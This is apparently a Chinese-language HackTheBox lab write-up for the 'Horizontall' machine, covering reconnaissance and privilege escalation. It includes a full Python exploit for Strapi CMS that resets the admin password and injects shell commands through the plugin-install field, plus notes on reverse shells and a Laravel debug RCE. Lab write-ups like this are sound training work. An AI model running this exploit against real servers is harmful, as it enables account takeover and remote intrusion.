HackTheBox - Machines - Horizontall
本机ip:10.10.14.35 靶机ip:10.10.11.105
1.信息搜集
一般nmap挂着扫端口的同时进行子域名爆破,这里Nmap结果先出来,一如既往开放了22端口和80端口
代码语言:javascript复制命令:Nmap -sS -sC -sV -O -T4 10.10.11.05
Nmap scan report for 10.10.11.105
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=2/14%OT=22%CT=1%CU=37866%PV=Y%DS=2�=I%G=Y%TM=620A435
OS:8%P=i686-pc-windows-windows)SEQ(SP=F4%GCD=1%ISR=FF%TI=Z%CI=Z%II=I%TS=A)S
OS:EQ(SP=F4%GCD=1%ISR=FF%TI=Z%CI=Z%TS=A)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O
OS:3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y�=Y%T=40%W=FAF0%O=M508NNSN
OS:W7�=Y%Q=)T1(R=Y�=Y%T=40%S=O%A=S %F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y�=Y%T=40%W=0%S=Z%A=S %F=AR%O
OS:=%RD=0%Q=)T6(R=Y�=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y�=Y%T=40%W
OS:=0%S=Z%A=S %F=AR%O=%RD=0%Q=)U1(R=Y�=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y�I=N%T=40�=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
浏览器访问10.10.11.105,发现自动解析成了horizontall.htb,网页提示无法访问此网站
windows解决办法:c:windowssystem32driversetchosts文件修改成ip对应域名,再到浏览器刷新一下即可。
Linux解决办法:vim /etc/hosts 直接编辑,修改ip对应域名保存即可。
打开页面发现该页面是一个纯静态页面,并且使用了webpack打包源码
这里有个小知识:F12 -> network -> 刷新页面 -> 选择只显示js
遇到这种app… chunk… main…的js,并且该网站用了使用了webpack,那么就可以打开这个js,在其后面拼接一个.map,就会自动下载一个js.map文件或者是页面内容有变化,如果遇到这种情况可以安装一个nodejs,再使用npm安装reverse-sourcemap,来打包源码还原,这里就不具体讲了,偏题了
如果有兴趣,具体可看:Webpack打包还原源码
目录扫描的结果也出来了:
代码语言:javascript复制E:信息搜集目录扫描dirsearch-master>python dirsearch.py --random-agent --exclude-status 400,401,403,404,500,429 -e * -u horizontall.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 30
Wordlist size: 15492
Target: http://horizontall.htb/
[20:26:37] Starting:
[20:26:43] 301 - 194B - /js -> http://horizontall.htb/js/
[20:28:11] 301 - 194B - /css -> http://horizontall.htb/css/
[20:28:22] 200 - 4KB - /favicon.ico
[20:28:34] 301 - 194B - /img -> http://horizontall.htb/img/
[20:28:35] 200 - 901B - /index.html
Task Completed
可以看到并没有什么有用的信息
这里web是vuejs,我将其源码打包下来,但是我在js这一块确实是不擅长,所以等待子域名爆破出来之后查看了一下子域名的结果。
可以看到,爆破出来了一个子域名,将其添加到hosts文件中进行访问。
来到主页,除了这个大写的欢迎之外就没有其他东西了,进行目录扫描看看呢,既然存在,那么一定有他的道理。
再对其子域名进行一波目录扫描
代码语言:javascript复制E:信息搜集目录扫描dirsearch-master>python dirsearch.py --random-agent --exclude-status 400,401,403,404,500,429 -e * -u api-prod.horizontall.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 30
Wordlist size: 15492
Target: http://api-prod.horizontall.htb/
[20:32:02] Starting:
[20:32:26] 200 - 854B - /ADMIN
[20:32:27] 200 - 854B - /Admin
[20:32:27] 200 - 854B - /Admin/login/
[20:32:44] 200 - 854B - /admin
[20:32:46] 200 - 854B - /admin/
[20:32:46] 200 - 854B - /admin/.config
[20:32:46] 200 - 854B - /admin/.htaccess
[20:32:46] 200 - 854B - /admin/?/login
[20:32:46] 200 - 854B - /admin/_logs/access-log
[20:32:46] 200 - 854B - /admin/_logs/access_log
[20:32:46] 200 - 854B - /admin/_logs/error-log
[20:32:46] 200 - 854B - /admin/_logs/error_log
[20:32:46] 200 - 854B - /admin/access_log
[20:32:46] 200 - 854B - /admin/account
[20:32:46] 200 - 854B - /admin/admin-login
[20:32:46] 200 - 854B - /admin/admin
[20:32:46] 200 - 854B - /admin/admin/login
[20:32:46] 200 - 854B - /admin/admin_login
[20:32:47] 200 - 854B - /admin/adminLogin
[20:32:47] 200 - 854B - /admin/backup/
[20:32:47] 200 - 854B - /admin/backups/
[20:32:47] 200 - 854B - /admin/controlpanel
[20:32:47] 200 - 854B - /admin/cp
[20:32:47] 200 - 854B - /admin/db/
[20:32:47] 200 - 854B - /admin/default
[20:32:47] 200 - 854B - /admin/dumper/
[20:32:47] 200 - 854B - /admin/error_log
[20:32:47] 200 - 854B - /admin/FCKeditor
[20:32:47] 200 - 854B - /admin/home
[20:32:48] 200 - 854B - /admin/index
[20:32:48] 200 - 854B - /admin/index.html
[20:32:48] 200 - 854B - /admin/js/tiny_mce
[20:32:48] 200 - 854B - /admin/js/tiny_mce/
[20:32:48] 200 - 854B - /admin/js/tinymce
[20:32:48] 200 - 854B - /admin/js/tinymce/
[20:32:48] 200 - 854B - /admin/log
[20:32:48] 200 - 854B - /admin/login
[20:32:48] 200 - 854B - /admin/logs/
[20:32:48] 200 - 854B - /admin/logs/access-log
[20:32:48] 200 - 854B - /admin/logs/access_log
[20:32:48] 200 - 854B - /admin/logs/error-log
[20:32:48] 200 - 854B - /admin/logs/error_log
[20:32:48] 200 - 854B - /admin/manage
[20:32:48] 200 - 854B - /admin/mysql/
[20:32:48] 200 - 854B - /admin/phpMyAdmin
[20:32:48] 200 - 854B - /admin/phpMyAdmin/
[20:32:48] 200 - 854B - /admin/phpmyadmin/
[20:32:48] 200 - 854B - /admin/pMA/
[20:32:48] 200 - 854B - /admin/pma/
[20:32:48] 200 - 854B - /admin/portalcollect.php?f=http://xxx&t=js
[20:32:48] 200 - 854B - /admin/private/logs
[20:32:48] 200 - 854B - /admin/release
[20:32:48] 200 - 854B - /admin/scripts/fckeditor
[20:32:48] 200 - 854B - /admin/signin
[20:32:48] 200 - 854B - /admin/sqladmin/
[20:32:48] 200 - 854B - /admin/sxd/
[20:32:48] 200 - 854B - /admin/sysadmin/
[20:32:48] 200 - 854B - /admin/tiny_mce
[20:32:48] 200 - 854B - /admin/tinymce
[20:32:48] 200 - 854B - /admin/web/
[20:33:44] 200 - 1KB - /favicon.ico
[20:33:53] 200 - 413B - /index.html
[20:34:28] 200 - 507B - /reviews
[20:34:28] 200 - 121B - /robots.txt
看到admin就来劲了,访问/admin/login
页面自动跳转到**/admin/auth/login**了
有趣的是在js里面找到了三个疑似用户名的名字,但是经过爆破并无结果。
2.漏洞利用
页面虽然有webpack打包,但是这次并没有泄露文件。
在没有头绪的时候,查看了一下Wappalyzer插件,发现这是一个CMS,名字就叫 strapi
小事找百度,大事问谷歌,走你。
找到了几个未经身份认证的rce,话不多说,找exp打一手先。
代码语言:javascript复制import requests
import json
from cmd import Cmd
import sys
if len(sys.argv) != 2:
print("[-] Wrong number of arguments provided")
print("[*] Usage: python3 exploit.py <URL>n")
sys.exit()
class Terminal(Cmd):
prompt = "$> "
def default(self, args):
code_exec(args)
def check_version():
global url
print("[ ] Checking Strapi CMS Version running")
version = requests.get(f"{url}/admin/init").text
version = json.loads(version)
version = version["data"]["strapiVersion"]
if version == "3.0.0-beta.17.4":
print("[ ] Seems like the exploit will work!!!n[ ] Executing exploitnn")
else:
print("[-] Version mismatch trying the exploit anyway")
def password_reset():
global url, jwt
session = requests.session()
params = {"code" : {"$gt":0},
"password" : "SuperStrongPassword1",
"passwordConfirmation" : "SuperStrongPassword1"
}
output = session.post(f"{url}/admin/auth/reset-password", json = params).text
response = json.loads(output)
jwt = response["jwt"]
username = response["user"]["username"]
email = response["user"]["email"]
if "jwt" not in output:
print("[-] Password reset unsuccessfulln[-] Exiting nownn")
sys.exit(1)
else:
print(f"[ ] Password reset was successfullyn[ ] Your email is: {email}n[ ] Your new credentials are: {username}:SuperStrongPassword1n[ ] Your authenticated JSON Web Token: {jwt}nn")
def code_exec(cmd):
global jwt, url
print("[ ] Triggering Remote code executinn[*] Rember this is a blind RCE don't expect to see output")
headers = {"Authorization" : f"Bearer {jwt}"}
data = {"plugin" : f"documentation && $({cmd})",
"port" : "1337"}
out = requests.post(f"{url}/admin/plugins/install", json = data, headers = headers)
print(out.text)
if __name__ == ("__main__"):
url = sys.argv[1]
if url.endswith("/"):
url = url[:-1]
check_version()
password_reset()
terminal = Terminal()
terminal.cmdloop()
这个exp可以修改账号密码,也可以执行系统命令。
执行命令反弹shell到手 同样**python3 -c ‘import pty;pty.spawn(“/bin/bash”)‘ **来获得一个交互式shell
拿到用户flag,接下来需要提权到root,拿到root的flag
3.Laravel V8 Rce提权
开头看到有ssh,经过查找,当前用户没有ssh相关文件夹。
为了方便操作,那么我给他手动创建一个,然后生成一个私钥
在目标机器上生成好了之后,在本地再创建一个私钥文件,将生成的私钥加入进去,再使用此文件进行ssh连接即可
通过查看端口,发现本机3306端口和8000端口都活动着,刚刚exp就是通过1337端口打进来的。
3306端口无非就是爆破弱口令等,先看看8000端口是什么
curl 127.0.0.1:8000
可以看到8000端口开放web服务,是Laravel V8框架
但是我们现在访问不到8000端口,所以只能用ssh隧道给他端口转发出来。
成功转发,这个Laravel框架V8 之前爆出过一个调试的RCE,现在去找找对应的exp,找到之后将其clone到本地进行测试
这里RCE2和RCE4、5有回显,那么直接修改其exploit,将其shell给弹回来。
这个时候比较容易掉,所以查看最后flag的时候重新跑了一次。